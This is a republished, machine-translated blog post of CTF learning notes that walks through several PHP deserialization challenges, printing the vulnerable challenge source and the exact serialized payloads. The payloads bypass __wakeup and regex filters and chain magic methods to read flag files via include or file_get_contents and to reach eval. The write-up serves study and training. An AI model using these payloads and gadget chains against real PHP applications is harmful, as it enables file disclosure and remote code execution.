当前位置:网站首页>CTF_ Web: deserialization of learning notes (II) CTF classic test questions from shallow to deep
CTF_ Web: deserialization of learning notes (II) CTF classic test questions from shallow to deep
2022-06-25 04:31:00 【AFCC_】
0x00 CTF Deserialization problem in
In this kind of topic, we mainly use deserialization to bypass or call various magic methods , To construct a qualified serialized string , Complete specific functions , At this point, the execution flow of the entire code segment should be clear . Let's start with the simplest .
0x01 Attack and defend the world unserialize3
The source code of the title is :
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
Here we can see that there is only one magic method , and __wakeup() The magic method is to check the executed function before deserializing , in other words , Whatever comes in , Will give priority to implementation __wakeup() Method , But this is for __wakeup() There is one method CVE Loophole ,CVE-2016-7124, When the incoming serialization string is different from the actual number of parameters when deserializing the object, the execution will be skipped , That is, there is only one parameter in the current function $flag, If the number of parameters in the incoming serialization string is 2 You can bypass .
as follows :
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
Get the results O:4:"xctf":1:{s:4:"flag";s:3:"111";}, Will class xctf Parameters in 1 It is amended as follows 2, Submit code, obtain flag.
0x02 Attack and defend the world Web_php_unserialize
Title source code is :
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
Here is a code audit first , The code part is relatively simple , The boss must have known at a glance that this place only needs to be bypassed preg_match Regular and __wakeup Function , Because here weakup The string that will be deserialized soon file Replace it with index, So back to the current page .
The first is the regular bypass :/[oc]:\d+:/i
The meaning of this regular passage is to match all with o、c、O、C start , Add a colon :, Add numbers 、 Plus a colon : String , Ignore case , That is to say o:4: This part serializes the match at the beginning of the string . Use here +4 Bypass , This is because this bypasses the regular condition here , Will not change o Value after , because +4 And 4 It's the same , It does not affect the result of deserialization .
The second is wakeup,wakeup Just count the number of object attributes of the serialized string 1 Just change to another number , But notice here file The type is private, So the printed string has invisible characters %00 Of , Don't copy yourself base, Otherwise, the result will be different .O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
$a= new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace("O:4","O:+4",$b);
$b = str_replace(":1:",":2:",$b);
echo base64_encode($b);
The final result is :index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
0x03 XMAN2017 unserialize
Access topic tips get The ginseng code
So try to pass in 1, Get a hint hint: flag.php
Visit to get the next prompt :
visit help.php, Get part of the source code :
After sorting out the code, we get :
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
}
}
That is to say, this is a trigger Tostring The subject of , In the previous knowledge, we also mentioned that this function is triggered when the object is treated as a string , Generally in echo When you print the function, you can , So let's use this
$a = new FileClass();
echo serialize($a);
Pass to code Do a test , Find back :
in other words , After each serialization, one of the Tostring function , Return the contents of the file , It's just that there's no error,log, So let's replace the content with flag.php that will do .
Pass in ?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";} Check the source code to get flag.
0x04 pop Chain construction
The following part of the content code is from F12sec , author spaceman. Thank you for sharing , Learn the execution process of deserialization through several examples
<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
function __construct() {
$this->ClassObj = new hello();
}
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "hello pop ";
}
}
class shell {
public $data;
function action() {
eval($this->data);
}
}
$a = new pop();
@unserialize($_GET['s']);
In this code , It is easy to see that the danger function is shell Class action Method , And the first class pop It will automatically go to... When it is created new One hello class , And call... On destruction hello Of action Method , We just need to take advantage of the feature that is automatically invoked when destroyed . Change the original execution process , Specific for :new pop --> new hello --> action(hello)new pop --> new shell --> action(shell)
So the code above becomes
<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
function __construct() {
$this->ClassObj = new shell();
}
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "hello pop ";
}
}
class shell {
public $data ="phpinfo();" ;
function action() {
eval($this->data);
}
}
$a = new pop();
echo serialize($a);
This completes the change of the execution process , We put the final result O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}} Pass in s in , It is implemented phpinfo The interface behind , Completed the change of execution process .
0x05 MRCTF2020Ezpop
Title source code is :
<?php
class Modifier {
protected $var = "flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
echo "__tostring";
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
The code here is longer , But we analyze them one by one , They are all the knowledge points summarized before .
- First of all Modifier class :
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
Here we see only one magic method invoke, We have summed up , call invoke Is to access the object as a function , therefore modifier The gesture used by the class is :
$a = new Modifier();
$a();
- The second is show class :
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
Here you can see that the magic method is tosting and wakeup,tostring The object needs to be accessed as a string , In this class, just at the time of initialization construct Used in echo; there wakeup Just pass the parameter Show The value in does not contain the specified character .
- The third is Test class
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
test Magic methods in class __get When we need to access a nonexistent property, we call , And will put itself in the class p The value of is executed as a function .
The posture used is :
$b = new Test();
$b->a;
Access properties that don't exist , Where does the attribute not exist , stay Show Class tostring Called $this->str->source, and Test Class does not source attribute , So let's Show Class str Property becomes Test Class .
That is to say, here should be :
$a = new Show("123");
$a->str = new Test();
In fact, it becomes clearer here , It's like going back to the first class modifier The execution conditions of , Execute a value as a function . The ultimate goal is to use the files you want to view Modifier Class include($value); Function contains .
So the process is :Show In the implementation of tostring——> The visit came to Test Medium source——> and Test There is no source——> So I did __get magic ——> take this->p Execute as a function , It can be seen here this->p The utilization point of the first class should be Modifier The object of . To include the files you want to include .
The code is :
<?php
class Modifier {
protected $var = "flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
echo "__tostring";
return "556"; // Notice that the original this->str->source change , If you don't change , stay new The second time Show You'll be prompted Method Show::__toString() must return a string value
}
public function __wakeup(){ // Here are two incoming source Parameters do not contain regular content , So the filter function is not triggered .
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
$function = $this->p;
return $function();
}
}
$a = new Show("afcc"); // It doesn't matter what you type in this topic , Will not affect the subsequent results
$a->str = new Test();
//echo $a; Here is to call again Show Output yourself , To make echo establish .
$c = new Show($a);
echo urlencode(serialize($c)); // here urlencode To prevent protected Objects affect the results .
Final input O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22afcc%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
That is, the serialized string , Be careful *var Ahead %00.
When the topic is finished, let's turn it around , In fact, there is wakeup It didn't work , Because for the last serialized string Show Class source It didn't work , Even if it is modified before deserialization , It does not affect the subsequent output . If you change it to
this->str = "index.php";
At this point, we need to consider how to bypass the problem .
0x06 Summary
After studying deserialization these days , It is found that the main knowledge points focus on the call timing of each magic method 、 Regular matching bypasses and pop The structure of the chain , Learning is slow , It needs to accumulate slowly .
pop Chains are constructed first
- Analyze whether each function has a point of existence and utilization 、 How to use , for example wakeup、get And so on
- Is there any connection between them 、 For example, the utilization condition of the first is exactly the initialization content of the second
- Finally, we need to control eval、include And so on .
It still needs more practice to master .
边栏推荐
- 什么是存储引擎以及MySQL常见的三种数据库存储引擎
- Musk released humanoid robot. Why is AI significant to musk?
- 小心被偷脸!天天用的人脸识别风险原来这么多?
- PHP code audit 2 - these functions must be known and understood
- navicat可不可以直接操作安卓数据库SQLite
- Laravel document sorting 10. Request life cycle
- Where is the red area of OpenCV?
- 【LeetCode】22. 括号生成
- Thorough understanding of database transactions
- Mysql的order by
猜你喜欢

论文阅读《LSD-SLAM: Large-Scale Direct Monocular SLAM》

单元测试覆盖率

Numpy NP tips: use OpenCV to interpolate and zoom the array to a fixed shape cv2 resize(res, dsize=(64, 64), interpolation=cv2. INTER_ CUBIC)

CTF_ Web: advanced problem WP (5-8) of attack and defense world expert zone

"How to carry out industrial positioning" in local / Park industrial planning

1280_ C language to find the average value of two unsigned integer

English Grammar - pronunciation rules

Acmstreamopen return value problem

mongodb集群

CTF_ Web: basic 12 questions WP of attack and defense world novice zone
随机推荐
GBASE 8s活锁、死锁问题的解决
Synchronous and asynchronous functions (callback function, promise, generator, async/await)
Laravel document sorting 7. View
Sourcetree pulls the code and prompts to fill in authentic, but the configuration cannot change the user
Summary of various problems encountered by cocos2d-x
Acmstreamopen return value problem
Easyrecovery15 very easy to use computer data recovery software
BSC smart contract dividend mainstream currency | including marketing wallet | deflation | reflow | dividend free token | available for direct deployment
Should I use on or where for the left join
A detailed summary of TCP connection triple handshake
Detailed explanation of flex attributes in flex layout
Win10 environment phpstudy2016 startup failure record
讲座记录《捷联惯导解算的历史及发展》
GBASE 8s的隔离级别介绍
GBASE 8s的多线程结构
Is opencv open source?
Finereport (sail soft) handling the problem that the histogram data label is blocked
Musk released humanoid robot. Why is AI significant to musk?
关于TCP连接三次握手的详细总结
Doubts about judging the tinyint field type of MySQL